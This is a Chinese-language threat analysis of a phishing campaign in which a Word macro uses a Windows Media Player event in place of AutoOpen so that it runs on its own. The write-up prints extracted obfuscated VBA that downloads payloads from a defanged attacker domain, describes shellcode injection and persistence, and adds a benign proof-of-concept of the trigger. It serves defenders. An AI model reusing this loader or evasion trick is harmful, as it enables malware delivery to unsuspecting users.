攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

该钓鱼攻击的攻击过程如下：

1. 投递落地的Word文档1中包含Word文档2的链接，实现下载包含Word宏(dotm)的Word文档2

2. 运行Word文档2后诱导用户启动宏

图 2个诱导用户点击启动宏的样本

3. 当用户点击启动宏后，执行vba宏代码

4. 将shellcode注入Word进程中，落地恶意软件USOService.exe 并实现持久化

5. 同时，创建了UpdateChecker.exe，该exe会判断是否成功从url中下载另一个word文档，进而有不同的消息弹框，有更真实的伪装效果

当没有下载成功时显示："文件解密需要网络连接。请确认网络连接，重新打开文件"

亮点 使用Windows Media Player函数实现自动执行宏代码

在Word2中提取部分宏代码如下：

1. 调用Media player函数运行RunFE函数

2. RunFE进行base64解码并下载文件

3. 下载超时设置

4. 执行恶意程序

Private Function RunFE() As Long
    Dim MR As Object
    Dim bbb As String
    Dim i As Long
    Randomize
    Call Init
    For i = 0 To 8: bbb = bbb & Chr(Map1(Int(62 * Rnd()))): Next i
    ' 实现下载
    Set MR = CreateObject(DecodeSTR("tw7v/v2UF6/h4I4v9cL5sgLww+yTE6+Dp9E=")) 'WinHttp.WinHttpRequest.5.1
    Call MR.SetTimeouts(0, 2000, 2000, 5000)
    #If Win64 Then ' 根据不同架构下载不同恶意程序
        MR.Open "GET", DecodeSTR("iBP1xrPPSNvg6tEO6/fczgngwOyJBO7f+YNJ9dPqiEjA9cSzSLHa/64myof9z1ftwMehLLDCv9RJ4NXk") & "?" & bbb & "=" & bbb 'hxxp://ZVc1ijAU.naveicoipc[.]tech/ACMS/0lvNAK1t/0lvNAK1t64.acm
    #Else
        MR.Open "GET", DecodeSTR("iBP1xrPPSNvg6tEO6/fczgngwOyJBO7f+YNJ9dPqiEjA9cSzSLHa/64myof9z1ftwMehLLDCutJJ4NXk") & "?" & bbb & "=" & bbb  'hxxp://ZVc1ijAU.naveicoipc[.]tech/ACMS/0lvNAK1t/0lvNAK1t32.acm
    #End If
End Function

Private Sub WindowsMediaPlayer1_OpenStateChange(ByVal NewState As Long)
    If bFlag = False Then
        Call CTD  'sleep相关处理
        Dim rfRes As Long
        rfRes = RunFE()  ' 执行恶意代码
        If rfRes = 1 Then
            bFlag = True
        End If
    End If
End Sub

Private Function RunFE() As Long
    #If Win64 Then
        MsgBox "Text64", vbOKOnly, "dotmTestX64"
    #Else
        MsgBox "Text32", vbOKOnly, "dotmTestX32"
    #End If
End Function

Private Sub WindowsMediaPlayer1_OpenStateChange(ByVal NewState As Long)
    rfRes = RunFE()
End Sub

一直以来对宏代码的利用是很多Apt组织的在初始访问阶段的惯用手法。在本次研判中微软提供的便捷功能沦为黑客的攻击手段，利用Media Player的函数代替AutoOpen躲避检测。

需要我们对嵌入视频的Office文档保持警惕，播放的视频会误导、降低人们的戒备心，但实际上在播放视频的同时已经执行了恶意代码，使得自己的电脑沦为他人的靶标。